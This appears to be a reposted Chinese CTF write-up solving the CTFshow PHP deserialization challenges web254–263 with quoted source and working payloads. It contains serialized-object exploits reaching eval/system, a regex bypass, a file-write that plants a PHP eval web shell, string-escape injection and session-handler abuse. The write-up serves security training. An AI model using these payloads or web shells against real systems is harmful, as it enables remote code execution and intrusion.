非反序列化
web254-簡單審計
這個題是搞笑的么🤣
按著原始碼順序走一遍
......
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
接受兩個引數,生成物件,呼叫 login 函式
# login 函式
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
......
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
......
payload
?username=xxxxxx&password=xxxxxx
web259-偽造請求
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
需要偽造 xff 頭
這題和反序列化沒關系,,,

然后去瀏覽器訪問 /flag.txt
web260-正則匹配
題目原始碼
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
只要 get 傳參反序列化后的字串有 ctfshow_i_love_36D 就可以
<?php
class ctfshow_i_love_36D{
}
var_dump(urlencode(serialize(new ctfshow_i_love_36D())));
?>
payload
?ctfshow=O%3A18%3A"ctfshow_i_love_36D"%3A1%3A%7Bs%3A5%3A"isVip"%3Bb%3A1%3B%7D
簡單反序列化
web255-簡單序列化字串構造
這次是通過反序列化 cookie 生成物件
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
?>
讓 isVip 的值為 ture
去構造序列化,反序列化簡單的題還是很簡單的,因為方法在反序列化時沒法保存,所以只能控制屬性
<?php
class ctfShowUser{
public $isVip=TRUE;
}
var_dump(serialize(new ctfShowUser()))
?>
# O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
# 分號需要 url 編碼
改變 cookie 的值,添加 user 欄位,可以瀏覽器F12添加,也可以 burp 抓包添加

添加之后訪問 url
/?username=xxxxxx&password=xxxxxx
cookie:user=O:11:"ctfShowUser":1:{s:5:"isVip"%3bb:1%3b}"
得到 flag
web256-簡單序列化字串構造
和上題的基本套路一致,不過 vipOneKeyGetFlag 函式發生了變化
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
注意就是 username 的值和 password 的值不能相等,其實這點很好實作,因為反序列化后生成的 ctfShowUser 物件的屬性是可以控制的,讓 username 是任意字串都可以
<?php
class ctfShowUser{
public $username='anything';
public $isVip=TRUE;}
}
var_dump(serialize(new ctfShowUser()))
?>
# O:11:"ctfShowUser":2:{s:8:"username";s:8:"anything";s:5:"isVip";b:1;}
# O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22anything%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257-魔法方法
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
魔法方法他來了,剛才說了方法不能被序列化,但是比如 __construct 魔法方法這種在生成物件時就被呼叫了,所以在構造序列化字串時也要考慮
簡單的構造方法,就是把類復制,把該刪的刪掉剩下的改就行了
class ctfShowUser{
# 沒用到的都可以刪掉
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
# 用到了,但是值無關緊要
public $class = 'info';
# 構造方法,創建新物件時先呼叫此方法,適合在使用物件之前做一些初始化作業
public function __construct(){
$this->class=new info();
# 因為代碼執行函式在 backDoor 類,所以這里可以直接 $this->class=new backDoor();
}
# 不能序列化
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
# 析構方法,物件銷毀時生效,所以無效
public function __destruct(){
$this->class->getInfo();
}
}
# 沒用到刪去
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
# 要利用的類
class backDoor{
# 關鍵點,code是可以控制的,code有可以執行代碼,這里code=惡意代碼
public $code;
# 方法不能序列化,洗掉
public function getInfo(){
eval($this->code);
}
}
最終代碼
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("tac flag.php");';
# 要執行的命令
}
var_dump(urlencode(serialize(new ctfShowUser())));
?>
# O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
payload
get訪問 /?username=xxxxxx&password=xxxxxx
cookie:user=序列化后的字串
web258-空格繞過正則
在上題的基礎上添加了正則過濾
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
正則意思就是 O:數字 C:數字 等的這種情況不能出現,看下原來的 payload
O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("tac flag.php");";}}
可以在冒號后邊加一個空格繞過正則
O%3A%2011%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22ctfShowUserclass%22%3BO%3A%208%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22backDoorcode%22%3Bs%3A23%3A%22system(%22tac%2Bflag.php%22)%3B%22%3B%7D%7D
POP鏈
web261-__unserialize函式
先上原始碼
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
整理下魔術方法
__construct 建構式會在每次創建新物件時先呼叫
__wakeup unserialize()函式執行時會檢查是否存在一個 __wakeup 方法,如果存在,則先被呼叫
__invoke() 當嘗試以呼叫函式的方式呼叫一個物件時,該方法會被自動呼叫
__sleep serialize()函式在執行時會檢查是否存在一個`__sleep`魔術方法,如果存在,則先被呼叫
__destruct 解構式是 php5 新添加的內容,解構式會在到物件的所有參考都被洗掉或者當物件被顯式銷毀時執行
__serialize() 函式會檢查類中是否存在一個魔術方法 __serialize(),如果存在,該方法將在任何序列化之前優先執行,它必須以一個代表物件序列化形式的 鍵/值 成對的關聯陣列形式來回傳,如果沒有回傳陣列,將會拋出一個 TypeError 錯誤
注意:
如果類中同時定義了 __serialize() 和 __sleep() 兩個魔術方法,則只有 __serialize() 方法會被呼叫, __sleep() 方法會被忽略掉,如果物件實作了 Serializable 介面,介面的 serialize() 方法會被忽略,做為代替類中的 __serialize() 方法會被呼叫
如果類中同時定義了 __unserialize() 和 __wakeup() 兩個魔術方法,則只有 __unserialize() 方法會生效,__wakeup() 方法會被忽略
# __serialize 和 __unserialize 特性自 PHP 7.4.0 起可用
因為存在 __unserialize 函式,所以在 get 傳入 vip 的值反序列化時直接呼叫 __unserialize 而不是 __wakeup 函式
__invoke 方法存在中的 eval 函式,但是卻無法利用,但是 __destruct 方法中存在任意檔案寫入,可以利用寫入一句話木馬
__unserialize函式中,code = username 的值拼接了 password 的值
$this->code = $this->username.$this->password;
在 __destruct 方法 比較了 code 的值,但是此處是雙等號弱型別比較可以繞過
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
構造代碼
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
# 最好是先實體化一個物件再序列化
# 877.php==877是成立的(弱型別比較)
var_dump(urlencode(serialize($a)));
# urlencode 將不可見字符編碼
使用蟻劍連接,flag 在根目錄
跟題目提示的打 Redis 沒有關系的
web262-字串逃逸替換變長
貼原始碼
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
題目注釋中有 message.php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
也就是說需要改變 token 的值才能得到 flag,接下來就需要找到改變 token 值的方法,index.php 中存在字符替換
$umsg = str_replace('fuck', 'loveU', serialize($msg));
# fuck 替換為 loveU,從四個字符長度替換為五個字符長度
但是要注意替換發生在序列化之后,先來看一個普通的序列化字串
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
# O 表示序列化型別為 class
# 11 表示類名的長度為11
# 1 表示有一對引數
# s 表示字串型別,后邊的 5 就表示的是字串的長度
# b 表示Boolean型別true,1就是true
php在反序列化時,底層代碼是以;作為欄位的分隔,以}作為結尾,并且是根據長度判斷內容的 ,同時反序列化的程序中必須嚴格按照序列化規則才能成功實作反序列化
回去再看傳入的三個值:f、m、t,看看生成的序列化字串
O:7:"message":4:{s:4:"from";s:1:"f";s:3:"msg";s:1:"m";s:2:"to";s:1:"t";s:5:"token";s:4:"user";}
只要讓 t 的值為多個 fuck ,之后替換為 loveU,前邊的長度不變,就可以把偽造的含有 admin 的字串擠出去,替換掉原來的字串,看下要偽造 admin 字符長度

只需要準備27個 fuck,
"fuck"*27
'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck'
因為 f 和 m 的值沒什么用隨便傳個值就行
payload
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后訪問 manage.php
web263-session反序列化
主頁是一個登錄界面,使用 dirsearch 掃描發現 www.zip 檔案
index.php
<?php
error_reporting(0);
session_start();
//超過5次禁止登陸
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
注意這里設定 cookie 的時候沒有設定 seesion 序列化選擇器的,就是 php.ini 中配置的序列化選擇器
回顧下三種選擇器
| 選擇器 | 存盤格式 | 樣例 $_SESSION[‘name’] = ‘ocean’; |
|---|---|---|
| php_serialize | 經過 serialize() 函式序列化陣列 | a:1:{s:4:“name”;s:5:“ocean”;} |
| php(默認) | 鍵名 豎線 經過 serialize() 函式處理的值 | name|s:5:“ocean”; |
| php_binary | 鍵名的長度對應的ascii字符 鍵名 serialize() 函式序列化的值 | name s:6:“spoock”; |

然后 inc.php 中卻單獨宣告使用了 php 序列化選擇器,應該出題人改了默認的選擇器,不然這里就不會單獨宣告了,還有一點就是,第六行的 session_start() 函式會決議 session 檔案,就相當于進行了反序列化
# inc.php
......
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
}
}
......
User 類中的 file_put_contents 像是一個利用點,
訪問首頁,抓包可以看到 Cookie:limit 引數,可以把反序列化資料寫入 session 檔案
因 inc/inc.php 存在 ini_set(‘session.serialize_handler’, ‘php’); 和 session_start(); ,只要訪問即會獲取之前寫入的 session 資料,然后 check.php 包含 inc/inc.php ,即會觸發 User類 的 __destruct方法 ,從而把惡意資料通過 file_put_contents 寫入名為 log-$this.username ,內容為 $this.password 的檔案
<?php
class User{
public $username = 'test.php';
public $password = '<?php system("cat flag.php") ?>';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>
加
'|'是因為session.serialize_handler使用php引擎,session 關聯陣列的key和value是通過'|'區分的,value是需要被反序列化的部分,然后默認不是用 php 引擎,所以寫入是正常字串,在inc/inc.php這讀取語意又不一樣了
具體步驟就是:
-
生成 base64 編碼序列化字串
-
將字串在瀏覽器中保存為cookie(輸入cookie,重繪下頁面),或者抓包改 cookie:limit 的值
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Er3JSYow-1632285285348)(F:%5C_%E7%AC%94%E8%AE%B0%5Cmdpic%5C8.CTFshow%E5%88%B7%E9%A2%98%E6%97%A5%E8%AE%B0-WEB-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96_pic%5Cimage-20210921155030824.png)]](https://img.uj5u.com/2021/09/23/266936231115126.png)
-
請求 check.php 反序列化,生成檔案
-
訪問生成的檔案,得到flag
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-EEMGw5jq-1632285285350)(F:%5C_%E7%AC%94%E8%AE%B0%5Cmdpic%5C8.CTFshow%E5%88%B7%E9%A2%98%E6%97%A5%E8%AE%B0-WEB-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96_pic%5Cimage-20210921160026647.png)]](https://img.uj5u.com/2021/09/23/266936231115127.png)
參考鏈接
https://blog.csdn.net/miuzzx/article/details/110558192
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/302176.html
標籤:其他
